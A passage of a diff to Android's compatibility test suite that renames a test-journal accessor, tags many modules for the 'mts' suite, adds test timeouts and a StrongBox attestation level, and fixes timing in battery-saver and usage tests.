+                || pm.hasSystemFeature(PackageManager.FEATURE_TELEVISION)
+                || pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK));
+
+        assumeFalse("Automotive navigation bar is opaque",
+                pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE));
+
+        assumeTrue("Only highEndGfx devices have colored system bars",
+                ActivityManager.isHighEndGfx());
+    }
+
+    private static boolean isRunningInVr() {
+        final Context context = InstrumentationRegistry.getContext();
+        final Configuration config = context.getResources().getConfiguration();
+        return (config.uiMode & Configuration.UI_MODE_TYPE_MASK)
+                == Configuration.UI_MODE_TYPE_VR_HEADSET;
+    }
+
+    private static WindowInsets getInsets(ActivityTestRule<?> rule) {
+        final WindowInsets[] insets = new WindowInsets[1];
+        try {
+            rule.runOnUiThread(() -> {
+                insets[0] = rule.getActivity().getWindow().getDecorView().getRootWindowInsets();
+            });
+        } catch (Throwable t) {
+            throw new RuntimeException(t);
+        }
+        return insets[0];
+    }
+
+    public static boolean isAssumptionViolated(Runnable assumption) {
+        try {
+            assumption.run();
+            return true;
+        } catch (AssumptionViolatedException e) {
+            Log.i("BarTestUtils", "Assumption violated", e);
+            return false;
+        }
+    }
+}
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/TestJournalProvider.java b/tests/framework/base/windowmanager/util/src/android/server/wm/TestJournalProvider.java
index d35289b..b2d92a3 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/TestJournalProvider.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/TestJournalProvider.java
@@ -90,19 +90,19 @@
         switch (method) {
             case METHOD_ADD_CALLBACK:
                 ensureExtras(method, extras);
-                TestJournalContainer.get().addCallback(
+                TestJournalContainer.getInstance().addCallback(
                         extras.getString(EXTRA_KEY_OWNER), extras.getParcelable(method));
                 break;
 
             case METHOD_SET_LAST_CONFIG_INFO:
                 ensureExtras(method, extras);
-                TestJournalContainer.get().setLastConfigInfo(
+                TestJournalContainer.getInstance().setLastConfigInfo(
                         extras.getString(EXTRA_KEY_OWNER), extras.getParcelable(method));
                 break;
 
             case METHOD_PUT_EXTRAS:
                 ensureExtras(method, extras);
-                TestJournalContainer.get().putExtras(
+                TestJournalContainer.getInstance().putExtras(
                         extras.getString(EXTRA_KEY_OWNER), extras);
                 break;
         }
@@ -267,7 +267,17 @@
 
         @NonNull
         public static TestJournal get(String owner) {
-            return get().getTestJournal(owner);
+            return getInstance().getTestJournal(owner);
+        }
+
+        /**
+         * Perform the action which may have thread safety concerns when accessing the fields of
+         * {@link TestJournal}.
+         */
+        public static void withThreadSafeAccess(Runnable aciton) {
+            synchronized (getInstance()) {
+                aciton.run();
+            }
         }
 
         private synchronized TestJournal getTestJournal(String owner) {
@@ -291,7 +301,7 @@
             getTestJournal(owner).extras.putAll(extras);
         }
 
-        private synchronized static TestJournalContainer get() {
+        private synchronized static TestJournalContainer getInstance() {
             if (!TestJournalProvider.sCrossProcessAccessGuard) {
                 throw new IllegalAccessError(TestJournalProvider.class.getSimpleName()
                         + " is not alive in this process");
@@ -308,7 +318,7 @@
          */
         @NonNull
         public static TestJournalContainer start() {
-            final TestJournalContainer instance = get();
+            final TestJournalContainer instance = getInstance();
             synchronized (instance) {
                 instance.mContainer.clear();
             }
diff --git a/tests/jdwp/runner/host-side/Android.bp b/tests/jdwp/runner/host-side/Android.bp
index e421ce0..597ae6f 100644
--- a/tests/jdwp/runner/host-side/Android.bp
+++ b/tests/jdwp/runner/host-side/Android.bp
@@ -35,5 +35,6 @@
         "cts",
         "vts",
         "general-tests",
+	"mts",
     ],
 }
diff --git a/tests/libcore/luni/Android.mk b/tests/libcore/luni/Android.mk
index 2ba08cb..210ba0f 100644
--- a/tests/libcore/luni/Android.mk
+++ b/tests/libcore/luni/Android.mk
@@ -55,7 +55,7 @@
 LOCAL_HOST_REQUIRED_MODULES := cts-dalvik-host-test-runner
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests mts
 
 # NOTE: virtualdeviceknownfailures.txt is only used for simulated/cloud-based
 # continuous build configurations, so it's not referenced in AndroidTest.xml
diff --git a/tests/libcore/ojluni/Android.mk b/tests/libcore/ojluni/Android.mk
index 8354615..437488e 100644
--- a/tests/libcore/ojluni/Android.mk
+++ b/tests/libcore/ojluni/Android.mk
@@ -45,7 +45,7 @@
 LOCAL_MULTILIB := both
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests mts
 
 LOCAL_JAVA_RESOURCE_FILES := libcore/expectations/knownfailures.txt
 
diff --git a/tests/libcore/okhttp/Android.mk b/tests/libcore/okhttp/Android.mk
index eb061da..2088f74 100644
--- a/tests/libcore/okhttp/Android.mk
+++ b/tests/libcore/okhttp/Android.mk
@@ -41,7 +41,7 @@
 LOCAL_MULTILIB := both
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests mts
 
 LOCAL_JAVA_RESOURCE_FILES := libcore/expectations/knownfailures.txt
 
diff --git a/tests/libcore/runner/Android.mk b/tests/libcore/runner/Android.mk
index 093779b..c260de7 100644
--- a/tests/libcore/runner/Android.mk
+++ b/tests/libcore/runner/Android.mk
@@ -34,6 +34,6 @@
 LOCAL_PROGUARD_ENABLED := disabled
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests mts
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/mocking/extended/AndroidTest.xml b/tests/mocking/extended/AndroidTest.xml
index 1146f7e..dad860d 100644
--- a/tests/mocking/extended/AndroidTest.xml
+++ b/tests/mocking/extended/AndroidTest.xml
@@ -28,6 +28,8 @@
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.extended.mocking.cts" />
         <option name="runtime-hint" value="120s" />
+        <!-- test-timeout unit is ms, value = 10 min -->
+        <option name="test-timeout" value="600000" />
     </test>
 
     <!-- Controller that will skip the module if a native bridge situation is detected -->
diff --git a/tests/mocking/inline/AndroidTest.xml b/tests/mocking/inline/AndroidTest.xml
index 7a38dc7..ab18927 100644
--- a/tests/mocking/inline/AndroidTest.xml
+++ b/tests/mocking/inline/AndroidTest.xml
@@ -28,6 +28,8 @@
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.inline.mocking.cts" />
         <option name="runtime-hint" value="120s" />
+        <!-- test-timeout unit is ms, value = 10 min -->
+        <option name="test-timeout" value="600000" />
     </test>
 
     <!-- Controller that will skip the module if a native bridge situation is detected -->
diff --git a/tests/openglperf2/AndroidTest.xml b/tests/openglperf2/AndroidTest.xml
index 22ceed7..c2fa3a6 100644
--- a/tests/openglperf2/AndroidTest.xml
+++ b/tests/openglperf2/AndroidTest.xml
@@ -26,5 +26,7 @@
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.opengl2.cts" />
         <option name="runtime-hint" value="4m" />
+        <!-- test-timeout unit is ms, value = 100 min -->
+        <option name="test-timeout" value="6000000" />
     </test>
 </configuration>
diff --git a/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java b/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java
index 7746c98..fc7ed48 100644
--- a/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java
+++ b/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java
@@ -53,6 +53,7 @@
 import android.os.SystemClock;
 import android.os.storage.StorageManager;
 import android.os.storage.StorageVolume;
+import android.os.UserManager;
 import android.provider.MediaStore;
 import android.providerui.cts.GetResultActivity.Result;
 import android.support.test.uiautomator.By;
@@ -483,10 +484,12 @@
     static File stageFile(int resId, File file) throws IOException {
         // The caller may be trying to stage into a location only available to
         // the shell user, so we need to perform the entire copy as the shell
-        if (FileUtils.contains(Environment.getStorageDirectory(), file)) {
+        final Context context = InstrumentationRegistry.getTargetContext();
+        UserManager userManager = context.getSystemService(UserManager.class);
+        if (userManager.isSystemUser() &&
+                 FileUtils.contains(Environment.getStorageDirectory(), file)) {
             executeShellCommand("mkdir -p " + file.getParent());
 
-            final Context context = InstrumentationRegistry.getTargetContext();
             try (AssetFileDescriptor afd = context.getResources().openRawResourceFd(resId)) {
                 final File source = ParcelFileDescriptor.getFile(afd.getFileDescriptor());
                 final long skip = afd.getStartOffset();
@@ -504,7 +507,6 @@
             if (!dir.exists()) {
                 throw new FileNotFoundException("Failed to create parent for " + file);
             }
-            final Context context = InstrumentationRegistry.getTargetContext();
             try (InputStream source = context.getResources().openRawResource(resId);
                     OutputStream target = new FileOutputStream(file)) {
                 FileUtils.copy(source, target);
diff --git a/tests/security/src/android/keystore/cts/Attestation.java b/tests/security/src/android/keystore/cts/Attestation.java
index bf344ca..aeaf4ab 100644
--- a/tests/security/src/android/keystore/cts/Attestation.java
+++ b/tests/security/src/android/keystore/cts/Attestation.java
@@ -41,6 +41,7 @@
 
     public static final int KM_SECURITY_LEVEL_SOFTWARE = 0;
     public static final int KM_SECURITY_LEVEL_TRUSTED_ENVIRONMENT = 1;
+    public static final int KM_SECURITY_LEVEL_STRONG_BOX = 2;
 
     private final int attestationVersion;
     private final int attestationSecurityLevel;
@@ -82,6 +83,8 @@
                 return "Software";
             case KM_SECURITY_LEVEL_TRUSTED_ENVIRONMENT:
                 return "TEE";
+            case KM_SECURITY_LEVEL_STRONG_BOX:
+                return "StrongBox";
             default:
                 return "Unkown";
         }
diff --git a/tests/signature/api-check/shared-libs-api/Android.mk b/tests/signature/api-check/shared-libs-api/Android.mk
index 1540caa..f71835e 100644
--- a/tests/signature/api-check/shared-libs-api/Android.mk
+++ b/tests/signature/api-check/shared-libs-api/Android.mk
@@ -18,8 +18,8 @@
 
 $(foreach ver,$(call int_range_list,28,$(PLATFORM_SDK_VERSION)),\
   $(foreach api_level,public system,\
-    $(foreach lib,$(filter-out android,$(filter-out %removed,\
-      $(basename $(notdir $(wildcard $(HISTORICAL_SDK_VERSIONS_ROOT)/$(ver)/$(api_level)/api/*.txt))))),\
+    $(foreach lib,$(filter-out android,$(filter-out %removed,$(filter-out incompatibilities,\
+      $(basename $(notdir $(wildcard $(HISTORICAL_SDK_VERSIONS_ROOT)/$(ver)/$(api_level)/api/*.txt)))))),\
         $(eval all_shared_libs_files += $(lib)-$(ver)-$(api_level).api))))
 
 include $(CLEAR_VARS)
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java
index 8efa483..b185c50 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java
@@ -26,7 +26,12 @@
 import android.signature.cts.DexMethod;
 import android.signature.cts.FailureType;
 
+import java.io.BufferedReader;
 import java.io.File;
+import java.io.FileNotFoundException;
+import java.io.FileReader;
+import java.io.IOException;
+import java.text.ParseException;
 import java.util.function.Predicate;
 import java.util.stream.Stream;
 
@@ -136,33 +141,21 @@
                     }
                 }
             };
-            parseDexApiFilesAsStream(hiddenapiFiles)
-                    .filter(memberFilter)
-                    .forEach(dexMember -> {
-                        if (shouldTestMember(dexMember)) {
-                            DexMemberChecker.checkSingleMember(dexMember, reflection, jni,
-                                    observer);
-                        }
-                    });
-        });
-    }
-
-    private Stream<DexMember> parseDexApiFilesAsStream(String[] apiFiles) {
-        DexApiDocumentParser dexApiDocumentParser = new DexApiDocumentParser();
-        // To allow parallelization with a DexMember output type, we need two
-        // pipes.
-        Stream<Stream<DexMember>> inputsAsStreams = Stream.of(apiFiles).parallel()
-                .map(name -> new File(API_FILE_DIRECTORY + "/" + name))
-                .flatMap(file -> readFileOptimized(file))
-                .map(obj -> dexApiDocumentParser.parseAsStream(obj));
-        // The flatMap inherently serializes the pipe. The number of inputs is
-        // still small here, so reduce by concatenating (note the caveats of
-        // concats).
-        return inputsAsStreams.reduce(null, (prev, stream) -> {
-            if (prev == null) {
-                return stream;
+            for (String apiFile : hiddenapiFiles) {
+                BufferedReader reader = new BufferedReader(
+                        new FileReader(API_FILE_DIRECTORY + "/" + apiFile));
+                int lineIndex = 1;
+                String line = reader.readLine();
+                while (line != null) {
+                    DexMember dexMember = DexApiDocumentParser.parseLine(line, lineIndex);
+                    if (memberFilter.test(dexMember) && shouldTestMember(dexMember)) {
+                        DexMemberChecker.checkSingleMember(dexMember, reflection, jni,
+                                observer);
+                    }
+                    line = reader.readLine();
+                    lineIndex++;
+                }
             }
-            return Stream.concat(prev, stream);
         });
     }
 
diff --git a/tests/signature/api/Android.mk b/tests/signature/api/Android.mk
index 0dedf0d..6cd2ee6 100644
--- a/tests/signature/api/Android.mk
+++ b/tests/signature/api/Android.mk
@@ -52,6 +52,6 @@
 
 $(foreach ver,$(call int_range_list,28,$(PLATFORM_SDK_VERSION)),\
   $(foreach api_level,public system,\
-    $(foreach lib,$(filter-out android,$(filter-out %removed,\
-      $(basename $(notdir $(wildcard $(HISTORICAL_SDK_VERSIONS_ROOT)/$(ver)/$(api_level)/api/*.txt))))),\
+    $(foreach lib,$(filter-out android,$(filter-out %removed,$(filter-out incompatibilities,\
+      $(basename $(notdir $(wildcard $(HISTORICAL_SDK_VERSIONS_ROOT)/$(ver)/$(api_level)/api/*.txt)))))),\
         $(eval $(call build_xml_api_file,$(lib)-$(ver)-$(api_level).api,prebuilts/sdk/$(ver)/$(api_level)/api/$(lib).txt)))))
diff --git a/tests/signature/lib/common/src/android/signature/cts/DexApiDocumentParser.java b/tests/signature/lib/common/src/android/signature/cts/DexApiDocumentParser.java
index 7b71d65..8bb3062 100644
--- a/tests/signature/lib/common/src/android/signature/cts/DexApiDocumentParser.java
+++ b/tests/signature/lib/common/src/android/signature/cts/DexApiDocumentParser.java
@@ -88,7 +88,7 @@
                 lineLengthEstimate, DEX_MEMBER_CONVERTER), true);
     }
 
-    private static DexMember parseLine(String line, int lineNum) throws ParseException {
+    public static DexMember parseLine(String line, int lineNum) throws ParseException {
         // Split the CSV line.
         String[] splitLine = line.split(",");
         String signature = splitLine[0];
diff --git a/tests/tests/app.usage/src/android/app/usage/cts/UsageReportingTest.java b/tests/tests/app.usage/src/android/app/usage/cts/UsageReportingTest.java
index 6d21843..a5e780c 100644
--- a/tests/tests/app.usage/src/android/app/usage/cts/UsageReportingTest.java
+++ b/tests/tests/app.usage/src/android/app/usage/cts/UsageReportingTest.java
@@ -344,10 +344,12 @@
         mUsageStatsManager.reportUsageStart(activity1, TOKEN_0);
         assertAppOrTokenUsed(mFullToken0, true);
 
-        // Send the device to sleep to get onStop called for the token reporting activities.
-        mUiDevice.sleep();
-        Thread.sleep(1000);
-        assertAppOrTokenUsed(mFullToken0, false);
+        // Send the device to keyguard to get onStop called for the token reporting activities.
+        try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
+            lockScreenSession.gotoKeyguard();
+            Thread.sleep(1000);
+            assertAppOrTokenUsed(mFullToken0, false);
+        }
     }
 
     private void assertAppOrTokenUsed(String entity, boolean expected) throws Exception {
diff --git a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverAlarmTest.java b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverAlarmTest.java
index 5ac0141..e4abb12 100644
--- a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverAlarmTest.java
+++ b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverAlarmTest.java
@@ -68,6 +68,7 @@
     private static final String TAG = "BatterySaverAlarmTest";
 
     private static final long DEFAULT_WAIT = 1_000;
+    private static final long THROTTLED_WAIT = 5_000;
 
     // Tweaked alarm manager constants to facilitate testing
     private static final long MIN_REPEATING_INTERVAL = 5_000;
@@ -186,7 +187,8 @@
         forcePackageIntoBg(targetPackage);
 
         // First alarm shouldn't be throttled.
-        final long triggerElapsed1 = SystemClock.elapsedRealtime() + MIN_FUTURITY;
+        long now = SystemClock.elapsedRealtime();
+        final long triggerElapsed1 = now + MIN_FUTURITY;
         scheduleAlarm(targetPackage, AlarmManager.ELAPSED_REALTIME_WAKEUP, triggerElapsed1);
         ThreadUtils.sleepUntilRealtime(triggerElapsed1 + DEFAULT_WAIT);
         assertEquals("Allow-while-idle alarm shouldn't be blocked in battery saver",
@@ -195,14 +197,30 @@
         // Second one should be throttled.
         mAlarmCount.set(0);
 
-        final long triggerElapsed2 = triggerElapsed1 + ALLOW_WHILE_IDLE_SHORT_TIME;
+        // Check that the alarm scheduled at triggerElapsed2
+        // fires between triggerElapsed2 and (triggerElapsed3+THROTTLED_WAIT).
+        now = SystemClock.elapsedRealtime();
+        final long triggerElapsed2 = now + ALLOW_WHILE_IDLE_SHORT_TIME;
+        final long triggerElapsed3 = now + ALLOW_WHILE_IDLE_LONG_TIME;
         scheduleAlarm(targetPackage, AlarmManager.ELAPSED_REALTIME_WAKEUP, triggerElapsed2);
-        ThreadUtils.sleepUntilRealtime(triggerElapsed2 + DEFAULT_WAIT);
-        assertEquals("Follow up allow-while-idle alarm shouldn't go off before short time",
-                0, mAlarmCount.get());
 
-        final long triggerElapsed3 = triggerElapsed1 + ALLOW_WHILE_IDLE_LONG_TIME;
-        ThreadUtils.sleepUntilRealtime(triggerElapsed3 + DEFAULT_WAIT);
+        // Check the time first before checking the alarm counter to avoid a
+        // situation when the alarm fires between sleepUntilRealtime and
+        // assertEquals.
+        while (true) {
+            Thread.sleep(DEFAULT_WAIT);
+
+            final int alarmCount = mAlarmCount.get();
+            if (SystemClock.elapsedRealtime() < triggerElapsed2) {
+                assertEquals("Follow up allow-while-idle alarm shouldn't go off "
+                        + "before short time",
+                        0, alarmCount);
+            } else {
+                break;
+            }
+        }
+
+        ThreadUtils.sleepUntilRealtime(triggerElapsed3 + THROTTLED_WAIT);
         assertEquals("Follow-up allow-while-idle alarm should go off after long time",
                 1, mAlarmCount.get());
 
@@ -211,7 +229,8 @@
 
         startService(targetPackage, true);
 
-        final long triggerElapsed4 = triggerElapsed3 + ALLOW_WHILE_IDLE_SHORT_TIME;
+        now = SystemClock.elapsedRealtime();
+        final long triggerElapsed4 = now + ALLOW_WHILE_IDLE_SHORT_TIME;
         scheduleAlarm(targetPackage, AlarmManager.ELAPSED_REALTIME_WAKEUP, triggerElapsed4);
         ThreadUtils.sleepUntilRealtime(triggerElapsed4 + DEFAULT_WAIT);
         assertEquals("Allow-while-idle alarm shouldn't be throttled in battery saver"
@@ -224,7 +243,8 @@
 
         mAlarmCount.set(0);
 
-        final long triggerElapsed5 = triggerElapsed4 + ALLOW_WHILE_IDLE_SHORT_TIME;
+        now = SystemClock.elapsedRealtime();
+        final long triggerElapsed5 = now + ALLOW_WHILE_IDLE_SHORT_TIME;
         scheduleAlarm(targetPackage, AlarmManager.ELAPSED_REALTIME_WAKEUP, triggerElapsed5);
         ThreadUtils.sleepUntilRealtime(triggerElapsed5 + DEFAULT_WAIT);
         assertEquals("Allow-while-idle alarm shouldn't be throttled in battery saver"
@@ -234,7 +254,8 @@
         // One more time.
         mAlarmCount.set(0);
 
-        final long triggerElapsed6 = triggerElapsed5 + ALLOW_WHILE_IDLE_SHORT_TIME;
+        now = SystemClock.elapsedRealtime();
+        final long triggerElapsed6 = now + ALLOW_WHILE_IDLE_SHORT_TIME;
         scheduleAlarm(targetPackage, AlarmManager.ELAPSED_REALTIME_WAKEUP, triggerElapsed6);
         ThreadUtils.sleepUntilRealtime(triggerElapsed6 + DEFAULT_WAIT);
         assertEquals("Allow-while-idle alarm shouldn't be throttled when BS is off",
diff --git a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverTest.java b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverTest.java
index 8bc9783..ab44335 100644
--- a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverTest.java
+++ b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverTest.java
@@ -82,7 +82,7 @@
 
             // Unplug the charger.
             runDumpsysBatteryUnplug();
-
+            Thread.sleep(1000);
             // Verify battery saver gets toggled.
             manager.setPowerSaveModeEnabled(true);
             assertTrue(manager.isPowerSaveMode());
diff --git a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySavingTestBase.java b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySavingTestBase.java
index aaf5de0..e2cf479 100644
--- a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySavingTestBase.java
+++ b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySavingTestBase.java
@@ -15,6 +15,7 @@
  */
 package android.os.cts.batterysaving;
 
+import static com.android.compatibility.common.util.BatteryUtils.enableBatterySaver;
 import static com.android.compatibility.common.util.BatteryUtils.runDumpsysBatteryReset;
 import static com.android.compatibility.common.util.BatteryUtils.turnOnScreen;
 import static com.android.compatibility.common.util.SystemUtil.runCommandAndPrintOnLogcat;
@@ -70,6 +71,7 @@
         protected void onAfter(Statement base, Description description) throws Throwable {
             runDumpsysBatteryReset();
             turnOnScreen(true);
+            enableBatterySaver(false);
         }
     };
 
diff --git a/tests/tests/bionic/Android.mk b/tests/tests/bionic/Android.mk
index fa95fe9..c94da20 100644
--- a/tests/tests/bionic/Android.mk
+++ b/tests/tests/bionic/Android.mk
@@ -48,7 +48,7 @@
 LOCAL_CXX_STL := libc++_static
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests mts
 
 LOCAL_CTS_TEST_PACKAGE := android.bionic
 
diff --git a/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java b/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
index ca6ff3e..69b364e9 100644
--- a/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
+++ b/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
@@ -24,6 +24,7 @@
 
 import static org.junit.Assert.assertArrayEquals;
 import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
 
 import android.content.BroadcastReceiver;
 import android.content.ContentProviderClient;
@@ -94,7 +95,6 @@
     // 11.1.17.1
     private static final int MAX_LOGICAL_CHANNEL = 3;
     // Class bytes. The logical channel used should be included for bits b2b1. TS 102 221 Table 11.5
-    private static final String CLA_ENVELOPE = "80";
     private static final int CLA_GET_RESPONSE = 0x00;
     private static final int CLA_MANAGE_CHANNEL = 0x00;
     private static final int CLA_READ_BINARY = 0x00;
@@ -102,7 +102,6 @@
     private static final int CLA_STATUS = 0x80;
     private static final String CLA_STATUS_STRING = "80";
     // APDU Instruction Bytes. TS 102 221 Section 10.1.2
-    private static final String COMMAND_ENVELOPE = "C2";
     private static final int COMMAND_GET_RESPONSE = 0xC0;
     private static final int COMMAND_MANAGE_CHANNEL = 0x70;
     private static final int COMMAND_READ_BINARY = 0xB0;
@@ -903,6 +902,8 @@
      * This test verifies that {@link TelephonyManager#setVoiceMailNumber(String, String)} correctly
      * sets the VoiceMail alpha tag and number when called.
      */
+    /* Disabling the test for now due to a bug in the code. Will re-enable it when the bug is
+       fixed.
     public void testVoiceMailNumber() {
         if (!hasCellular) return;
 
@@ -922,7 +923,7 @@
             // Reset original alpha tag and number values.
             mTelephonyManager.setVoiceMailNumber(originalAlphaTag, originalNumber);
         }
-    }
+    } */
 
     /**
      * This test verifies that {@link SubscriptionManager#createSubscriptionGroup(List)} correctly
@@ -1095,16 +1096,10 @@
                 + COMMAND_STATUS_STRING
                 + "00" // p1: no indication of application status
                 + "00"; // p2: identical parameters to
-        String lc = "0" + (envelope.length() / 2); // number of bytes in data field
-        String response = mTelephonyManager.sendEnvelopeWithStatus(
-                CLA_ENVELOPE
-                + COMMAND_ENVELOPE
-                + "00" // p1: value required for Envelope command
-                + "00" // p2: value required for Envelope command
-                + lc
-                + envelope);
-        assertEquals("sendEnvelopeWithStatus returned: " + response,
-                STATUS_NORMAL_STRING, response);
+        String response = mTelephonyManager.sendEnvelopeWithStatus(envelope);
+
+        // TODO(b/137963715): add more specific assertions on response from TelMan#sendEnvelope
+        assertNotNull("sendEnvelopeWithStatus is null for envelope=" + envelope, response);
     }
 
     private void verifyValidIccOpenLogicalChannelResponse(IccOpenLogicalChannelResponse response) {
diff --git a/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java b/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
index ddedb84..39ec713 100644
--- a/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
+++ b/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
@@ -37,6 +37,7 @@
 import android.telecom.TelecomManager;
 import android.test.AndroidTestCase;
 
+import com.android.compatibility.common.util.CddTest;
 import com.android.compatibility.common.util.FeatureUtil;
 
 import java.util.List;
@@ -418,6 +419,7 @@
         }
     }
 
+    @CddTest(requirement = "7.4.2.6/C-1-1")
     public void testEasyConnectIntent() {
         WifiManager manager = mContext.getSystemService(WifiManager.class);
 
diff --git a/tests/tests/content/src/android/content/cts/ContentProviderClientTest.java b/tests/tests/content/src/android/content/cts/ContentProviderClientTest.java
index 095c843..0a15455 100644
--- a/tests/tests/content/src/android/content/cts/ContentProviderClientTest.java
+++ b/tests/tests/content/src/android/content/cts/ContentProviderClientTest.java
@@ -308,6 +308,13 @@
                 mICancellationSignal);
     }
 
+    public void testOpenTypedAssetFileDescriptor() throws RemoteException, FileNotFoundException {
+        mContentProviderClient.openTypedAssetFileDescriptor(URI, MODE, ARGS, mCancellationSignal);
+
+        verify(mIContentProvider).openTypedAssetFile(PACKAGE_NAME, URI, MODE, ARGS,
+                mICancellationSignal);
+    }
+
     public void testOpenTypedAssetFile() throws RemoteException, FileNotFoundException {
         mContentProviderClient.openTypedAssetFile(URI, MODE, ARGS, mCancellationSignal);
 
diff --git a/tests/tests/content/src/android/content/om/cts/OverlayInfoTest.java b/tests/tests/content/src/android/content/om/cts/OverlayInfoTest.java
index 8945338..d2e1998 100644
--- a/tests/tests/content/src/android/content/om/cts/OverlayInfoTest.java
+++ b/tests/tests/content/src/android/content/om/cts/OverlayInfoTest.java
@@ -19,6 +19,7 @@
 import static android.content.om.OverlayInfo.CREATOR;
 
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.fail;
 
@@ -51,6 +52,14 @@
     }
 
     @Test
+    public void testEnsureState_disabled() {
+        OverlayInfo info = new OverlayInfo(PKG_NAME, TARGET_PKG_NAME, TARGET_OVERLAYABLE_NAME,
+                CATEGORY, BASE_CODE_PATH,
+                0, 0, 0, true);
+        assertFalse(info.isEnabled());
+    }
+
+    @Test
     public void testEnsureValidState_fail() {
         try {
             OverlayInfo info = new OverlayInfo(null, TARGET_PKG_NAME, TARGET_OVERLAYABLE_NAME,
diff --git a/tests/tests/database/src/android/database/cts/CursorWrapperTest.java b/tests/tests/database/src/android/database/cts/CursorWrapperTest.java
index 7c0ce56..eceec8f 100644
--- a/tests/tests/database/src/android/database/cts/CursorWrapperTest.java
+++ b/tests/tests/database/src/android/database/cts/CursorWrapperTest.java
@@ -83,6 +83,13 @@
         return cursor;
     }
 
+    public void testGetWrappedCursor() {
+        final Cursor expected = getCursor();
+        CursorWrapper cursorWrapper = new CursorWrapper(expected);
+
+        assertSame(expected, cursorWrapper.getWrappedCursor());
+    }
+
     public void testGetCount() {
         CursorWrapper cursorWrapper = new CursorWrapper(getCursor());
         int defaultCount = cursorWrapper.getCount();
diff --git a/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.cpp b/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.cpp
index 8eb1966..8c999db 100644
--- a/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.cpp
+++ b/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.cpp
@@ -35,6 +35,8 @@
     }
 #define VK_CALL(a) ASSERT(VK_SUCCESS == (a))
 
+#define TIMEOUT_30_SEC 30000000000
+
 static const float vertexData[] = {
         // L:left, T:top, R:right, B:bottom, C:center
         -1.0f, -1.0f, 0.0f, // LT
@@ -862,7 +864,7 @@
     };
     VK_CALL(vkQueueSubmit(mDeviceInfo->queue(), 1, &submitInfo, mFence))
 
-    VK_CALL(vkWaitForFences(mDeviceInfo->device(), 1, &mFence, VK_TRUE, 100000000));
+    VK_CALL(vkWaitForFences(mDeviceInfo->device(), 1, &mFence, VK_TRUE, TIMEOUT_30_SEC));
 
     const VkSwapchainKHR swapchain = mSwapchainInfo->swapchain();
     const VkPresentInfoKHR presentInfo = {
diff --git a/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java b/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java
index bbba7a1..a2025bd 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java
@@ -2111,7 +2111,7 @@
     public void testWrapHardwareBufferHoldsReference() {
         Bitmap bitmap;
         // Create hardware-buffer and wrap it in a Bitmap
-        try (HardwareBuffer hwBuffer = createTestBuffer(128, 128, false)) {
+        try (HardwareBuffer hwBuffer = createTestBuffer(128, 128, true)) {
             // Fill buffer with colors (x, y, 42, 255)
             nFillRgbaHwBuffer(hwBuffer);
             bitmap = Bitmap.wrapHardwareBuffer(hwBuffer, ColorSpace.get(Named.SRGB));
diff --git a/tests/tests/icu/Android.mk b/tests/tests/icu/Android.mk
index 204d97f..8f4fc28 100644
